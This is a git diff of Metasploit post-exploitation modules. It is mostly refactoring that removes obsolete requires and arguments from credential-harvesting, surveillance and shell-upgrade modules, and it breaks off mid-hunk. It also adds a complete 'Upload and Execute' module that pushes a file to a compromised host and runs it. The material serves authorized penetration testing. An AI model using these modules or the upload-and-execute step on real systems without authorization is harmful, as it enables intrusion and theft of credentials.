1beba4cd64..8b13ae94f3 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/parser/apple_backup_manifestdb' class MetasploitModule < Msf::Post @@ -29,7 +28,7 @@ class MetasploitModule < Msf::Post OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]), OptBool.new('IMAGES', [false, 'Collect all image files?', false]), OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false]) - ], self.class) + ]) end # diff --git a/modules/post/multi/gather/aws_ec2_instance_metadata.rb b/modules/post/multi/gather/aws_ec2_instance_metadata.rb index cf628e848b..bb63267a3b 100644 --- a/modules/post/multi/gather/aws_ec2_instance_metadata.rb +++ b/modules/post/multi/gather/aws_ec2_instance_metadata.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info = {}) super( diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb index c76815ab40..1f519c62a2 100644 --- a/modules/post/multi/gather/aws_keys.rb +++ b/modules/post/multi/gather/aws_keys.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/gather/check_malware.rb b/modules/post/multi/gather/check_malware.rb index 9f2f5863c7..2e9ba18217 100644 --- a/modules/post/multi/gather/check_malware.rb +++ b/modules/post/multi/gather/check_malware.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'net/http' require 'uri' @@ -28,7 +27,7 @@ class MetasploitModule < Msf::Post OptString.new('APIKEY', [true, "VirusTotal API key", '501caf66349cc7357eb4398ac3298fdd03dec01a3e2f3ad576525aa7b57a1987']), OptString.new('REMOTEFILE', [true, "A file to check from the remote machine"]) - ], self.class) + ]) end def rhost diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index 97886ac53e..aacfad9c44 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' require 'openssl' require 'digest/md5' diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index a31158d3c9..56b2883648 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post @@ -27,7 +24,7 @@ class MetasploitModule < Msf::Post OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.", ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb index 8627f09755..d4c59bc81e 100644 --- a/modules/post/multi/gather/dns_reverse_lookup.rb +++ b/modules/post/multi/gather/dns_reverse_lookup.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -24,7 +21,7 @@ class MetasploitModule < Msf::Post OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.']) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb index 690b320b2e..f31cad2daf 100644 --- a/modules/post/multi/gather/dns_srv_lookup.rb +++ b/modules/post/multi/gather/dns_srv_lookup.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -25,7 +22,7 @@ class MetasploitModule < Msf::Post OptString.new('DOMAIN', [true, 'Domain ro perform SRV query against.']) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/gather/enum_vbox.rb b/modules/post/multi/gather/enum_vbox.rb index 6b201287d6..afe04ec9ea 100644 --- a/modules/post/multi/gather/enum_vbox.rb +++ b/modules/post/multi/gather/enum_vbox.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'yaml' class MetasploitModule < Msf::Post diff --git a/modules/post/multi/gather/env.rb b/modules/post/multi/gather/env.rb index 9a970b7b52..6cc0194bfd 100644 --- a/modules/post/multi/gather/env.rb +++ b/modules/post/multi/gather/env.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb index adc679a47e..99a02cbeeb 100644 --- a/modules/post/multi/gather/fetchmailrc_creds.rb +++ b/modules/post/multi/gather/fetchmailrc_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/filezilla_client_cred.rb b/modules/post/multi/gather/filezilla_client_cred.rb index b817c8c062..dbec1932ce 100644 --- a/modules/post/multi/gather/filezilla_client_cred.rb +++ b/modules/post/multi/gather/filezilla_client_cred.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rexml/document' class MetasploitModule < Msf::Post diff --git a/modules/post/multi/gather/find_vmx.rb b/modules/post/multi/gather/find_vmx.rb index 0382afde76..8f4e062b70 100644 --- a/modules/post/multi/gather/find_vmx.rb +++ b/modules/post/multi/gather/find_vmx.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'yaml' class MetasploitModule < Msf::Post diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 54bfb34205..b1e789049a 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -16,8 +16,6 @@ require 'zip' # # Project # -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' @@ -59,13 +57,13 @@ class MetasploitModule < Msf::Post register_options([ OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false]) - ], self.class) + ]) register_advanced_options([ OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]), OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]), OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false]) - ], self.class) + ]) end diff --git a/modules/post/multi/gather/gpg_creds.rb b/modules/post/multi/gather/gpg_creds.rb index 2dd4f4a106..d1ed04a14d 100644 --- a/modules/post/multi/gather/gpg_creds.rb +++ b/modules/post/multi/gather/gpg_creds.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/irssi_creds.rb b/modules/post/multi/gather/irssi_creds.rb index 10295103a1..6b785bdce9 100644 --- a/modules/post/multi/gather/irssi_creds.rb +++ b/modules/post/multi/gather/irssi_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 69d79c7e16..2b3af48577 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -3,11 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'sqlite3' require 'uri' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index 4e69cf8c7e..96edc6848d 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -22,7 +19,7 @@ class MetasploitModule < Msf::Post [ OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb index b6baec584f..63e51da7ac 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index b7b5a13001..9445e97a25 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb index 03dd79946f..92f09d8e23 100644 --- a/modules/post/multi/gather/pidgin_cred.rb +++ b/modules/post/multi/gather/pidgin_cred.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rexml/document' class MetasploitModule < Msf::Post @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Post [ OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]), # Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]), - ], self.class) + ]) end # TODO add support for collecting logs diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index 8fcb830af3..bc2e841107 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -22,7 +19,7 @@ class MetasploitModule < Msf::Post OptAddressRange.new('RHOSTS', [true, 'IP Range to perform ping sweep against.']), - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index 3e0fcf509f..4cd9890695 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -4,8 +4,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index 831dbc8b91..62f14326fc 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -24,7 +21,7 @@ class MetasploitModule < Msf::Post OptString.new('HOSTNAMES', [false, 'Comma seperated list of hostnames to resolve.']), OptPath.new('HOSTFILE', [false, 'Line separated file with hostnames to resolve.']), OptEnum.new('AI_FAMILY', [true, 'Address Family', 'IPv4', ['IPv4', 'IPv6'] ]) - ], self.class) + ]) end def run diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 6a0013b57b..4234fac7bd 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/multi/gather/rubygems_api_key.rb b/modules/post/multi/gather/rubygems_api_key.rb index 422ccce460..51f9574a17 100644 --- a/modules/post/multi/gather/rubygems_api_key.rb +++ b/modules/post/multi/gather/rubygems_api_key.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb index 5953fdb132..a0f6e3235c 100644 --- a/modules/post/multi/gather/run_console_rc_file.rb +++ b/modules/post/multi/gather/run_console_rc_file.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post @@ -26,7 +23,7 @@ class MetasploitModule < Msf::Post OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil]), - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index d2410264c0..e5e37769fe 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'csv' class MetasploitModule < Msf::Post @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Post [ # Set as an advanced option since it can only be useful in shell sessions. OptInt.new('TIMEOUT', [true ,'Timeout in seconds when downloading main.db on a shell session.', 90]), - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index ceb2ccf86a..75bf8645f4 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'sshkey' class MetasploitModule < Msf::Post diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb index 9ff8f53de4..af848d84c7 100644 --- a/modules/post/multi/gather/thunderbird_creds.rb +++ b/modules/post/multi/gather/thunderbird_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/tomcat_gather.rb b/modules/post/multi/gather/tomcat_gather.rb index fbcaaa355e..0c5cd786a2 100644 --- a/modules/post/multi/gather/tomcat_gather.rb +++ b/modules/post/multi/gather/tomcat_gather.rb @@ -1,4 +1,3 @@ -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index bfa8c80d55..321d6121ad 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/google/geolocation' class MetasploitModule < Msf::Post @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Post register_options( [ OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]) - ], self.class) + ]) end diff --git a/modules/post/multi/general/close.rb b/modules/post/multi/general/close.rb index 33720b0c42..47caa76d71 100644 --- a/modules/post/multi/general/close.rb +++ b/modules/post/multi/general/close.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) diff --git a/modules/post/multi/general/execute.rb b/modules/post/multi/general/execute.rb index 2f3c39248d..fea758355b 100644 --- a/modules/post/multi/general/execute.rb +++ b/modules/post/multi/general/execute.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -20,7 +17,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new( 'COMMAND', [false, 'The entire command line to execute on the session']) - ], self.class) + ]) end def run diff --git a/modules/post/multi/general/wall.rb b/modules/post/multi/general/wall.rb index d9f7b32f6e..32df66eebd 100644 --- a/modules/post/multi/general/wall.rb +++ b/modules/post/multi/general/wall.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info = {}) super( @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Post OptString.new('USERS', [false, 'List of users to write(1) to, separated by commas. ' \ ' wall(1)s to all users by default']), OptBool.new('COWSAY', [true, 'Display MESSAGE in a ~cowsay way', false]) - ], self.class) + ]) end def users diff --git a/modules/post/multi/manage/dbvis_add_db_admin.rb b/modules/post/multi/manage/dbvis_add_db_admin.rb index ceca7f5eb0..cc94b3d443 100644 --- a/modules/post/multi/manage/dbvis_add_db_admin.rb +++ b/modules/post/multi/manage/dbvis_add_db_admin.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Post OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']), OptString.new('DBUSERNAME', [true,'The user you want to add to the remote database', 'msf']), OptString.new('DBPASSWORD', [true,'User password to set', 'msfRocks']) - ], self.class) + ]) end diff --git a/modules/post/multi/manage/dbvis_query.rb b/modules/post/multi/manage/dbvis_query.rb index 745cb4de08..7639d78634 100644 --- a/modules/post/multi/manage/dbvis_query.rb +++ b/modules/post/multi/manage/dbvis_query.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -36,7 +35,7 @@ class MetasploitModule < Msf::Post [ OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']), OptString.new('QUERY', [true,'The query you want to execute on the remote database', '']), - ], self.class) + ]) end diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb index 9219c7e3dd..127938dc4a 100644 --- a/modules/post/multi/manage/multi_post.rb +++ b/modules/post/multi/manage/multi_post.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -28,7 +25,7 @@ class MetasploitModule < Msf::Post OptString.new('MACRO', [true, 'File with Post Modules and Options to run in the session', nil]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/manage/play_youtube.rb b/modules/post/multi/manage/play_youtube.rb index 56fcc600f8..97b3866bab 100644 --- a/modules/post/multi/manage/play_youtube.rb +++ b/modules/post/multi/manage/play_youtube.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('VID', [true, 'The video ID to the YouTube video']) - ], self.class) + ]) end # diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb index 442fc81efc..a6daa90d7c 100644 --- a/modules/post/multi/manage/record_mic.rb +++ b/modules/post/multi/manage/record_mic.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -27,7 +24,7 @@ class MetasploitModule < Msf::Post register_options( [ OptInt.new('DURATION', [false, 'Number of seconds to record', 5]) - ], self.class) + ]) end def rhost diff --git a/modules/post/multi/manage/set_wallpaper.rb b/modules/post/multi/manage/set_wallpaper.rb index 0758d32453..364b12d5ea 100644 --- a/modules/post/multi/manage/set_wallpaper.rb +++ b/modules/post/multi/manage/set_wallpaper.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Post register_options( [ OptPath.new('WALLPAPER_FILE', [true, 'The local wallpaper file to set on the remote session']) - ], self.class) + ]) end def upload_wallpaper(tempdir, file) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 238238efeb..5c2e265502 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/exploit/powershell' require 'msf/core/post/windows/powershell' @@ -28,13 +26,13 @@ class MetasploitModule < Msf::Post )) register_options( [ - OptAddress.new('LHOST', + OptAddressLocal.new('LHOST', [false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]), OptInt.new('LPORT', [true, 'Port for payload to connect to.', 4433]), OptBool.new('HANDLER', [ true, 'Start an exploit/multi/handler to receive the connection', true]) - ], self.class) + ]) register_advanced_options([ OptInt.new('HANDLE_TIMEOUT', [true, 'How long to wait (in seconds) for the session to come back.', 30]), @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Post [false, 'Remote path to drop binary']), OptString.new('BOURNE_FILE', [false, 'Remote filename to use for dropped binary']) - ], self.class) + ]) deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') end diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index fdb85616f2..c33419a8ef 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -39,7 +36,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('PASSWORD', [false, 'The password to use when running sudo.']) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index 894d7c538e..9d9393e555 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -23,7 +20,7 @@ class MetasploitModule < Msf::Post )) register_options( [ - OptAddress.new('LHOST', + OptAddressLocal.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']), OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]), @@ -31,7 +28,7 @@ class MetasploitModule < Msf::Post [ true, 'Start an exploit/multi/handler to receive the connection', false]), OptEnum.new('TYPE', [true, 'Scripting environment on target to use for reverse shell', 'auto', ['auto','ruby','python','perl','bash']]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/multi/manage/upload_exec.rb b/modules/post/multi/manage/upload_exec.rb new file mode 100644 index 0000000000..68851cc86d --- /dev/null +++ b/modules/post/multi/manage/upload_exec.rb @@ -0,0 +1,52 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Upload and Execute', + 'Description' => %q{ Push a file and execute it }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'win','linux','osx' ], + 'SessionTypes' => [ 'meterpreter','shell' ] + )) + + register_options( + [ + OptPath.new('LFILE', [true,'Local file to upload and execute']), + OptString.new('RFILE', [false,'Name of file on target (default is basename of LFILE)']), + ]) + end + + def rfile + if datastore['RFILE'].blank? + remote_name = File.basename(datastore['LFILE']) + else + remote_name = datastore['RFILE'] + end + + remote_name + end + + def lfile + datastore['LFILE'] + end + + def run + upload_file(rfile, lfile) + + if session.platform.include?("windows") + cmd_exec("cmd.exe /c start #{rfile}", nil, 0) + else + cmd_exec("chmod 755 #{rfile} && ./#{rfile}", nil, 0) + end + rm_f(rfile) + end + +end + diff --git a/modules/post/multi/manage/zip.rb b/modules/post/multi/manage/zip.rb index 47b9727d53..62ceecc288 100644 --- a/modules/post/multi/manage/zip.rb +++ b/modules/post/multi/manage/zip.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Post [ OptString.new('DESTINATION', [true, 'The destination path']), OptString.new('SOURCE', [true, 'The directory or file to compress']) - ], self.class) + ]) end def get_program_file_path diff --git a/modules/post/multi/recon/local_exploit_suggester.rb b/modules/post/multi/recon/local_exploit_suggester.rb index db23f770d2..1d649bb3a6 100644 --- a/modules/post/multi/recon/local_exploit_suggester.rb +++ b/modules/post/multi/recon/local_exploit_suggester.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - include Msf::Auxiliary::Report class MetasploitModule < Msf::Post diff --git a/modules/post/multi/recon/multiport_egress_traffic.rb b/modules/post/multi/recon/multiport_egress_traffic.rb index 82cb63d935..55ef2ee3a1 100644 --- a/modules/post/multi/recon/multiport_egress_traffic.rb +++ b/modules/post/multi/recon/multiport_egress_traffic.rb @@ -5,9 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info = {}) super(update_info(info, @@ -33,7 +30,7 @@ class MetasploitModule < Msf::Post OptEnum.new('PROTOCOL', [true, 'Protocol to use.', 'TCP', [ 'TCP', 'UDP', 'ALL' ]]), OptEnum.new('METHOD', [true, 'The mechanism by which the packets are generated. Can be NATIVE or WINAPI (Windows only).', 'NATIVE', [ 'NATIVE', 'WINAPI']]), OptInt.new('THREADS', [true, 'Number of simultaneous threads/connections to try.', '20']) - ], self.class) + ]) end def winapi_create_socket(proto) diff --git a/modules/post/osx/admin/say.rb b/modules/post/osx/admin/say.rb index d5438ac54e..f3a99e6bd5 100644 --- a/modules/post/osx/admin/say.rb +++ b/modules/post/osx/admin/say.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Post [ OptString.new('TEXT', [true, 'The text to say', "meta-sploit\!"]), OptString.new('VOICE', [true, 'The voice to use', 'alex']) - ], self.class) + ]) end diff --git a/modules/post/osx/capture/screen.rb b/modules/post/osx/capture/screen.rb index 8ef051870a..214572c00b 100644 --- a/modules/post/osx/capture/screen.rb +++ b/modules/post/osx/capture/screen.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -35,7 +32,7 @@ class MetasploitModule < Msf::Post OptInt.new('COUNT', [true, 'Number of screenshots to collect.', 1]), OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/tmp/']), OptString.new('EXE_PATH', [true, 'Path to remote screencapture executable', '/usr/sbin/screencapture']) - ], self.class) + ]) end diff --git a/modules/post/osx/gather/autologin_password.rb b/modules/post/osx/gather/autologin_password.rb index 708cfde81d..56d1d5578a 100644 --- a/modules/post/osx/gather/autologin_password.rb +++ b/modules/post/osx/gather/autologin_password.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Post register_advanced_options([ OptString.new('KCPASSWORD_PATH', [true, 'Path to kcpassword file', '/private/etc/kcpassword']) - ], self.class) + ]) end def run diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb index f498e9dee0..4757c35ba9 100644 --- a/modules/post/osx/gather/enum_adium.rb +++ b/modules/post/osx/gather/enum_adium.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Post register_options( [ OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '\(2012\-02\-.+\)\.xml$']), - ], self.class) + ]) end # diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb index 795098850d..de59e99229 100644 --- a/modules/post/osx/gather/enum_airport.rb +++ b/modules/post/osx/gather/enum_airport.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb index 9022522173..f6df0641d9 100644 --- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb +++ 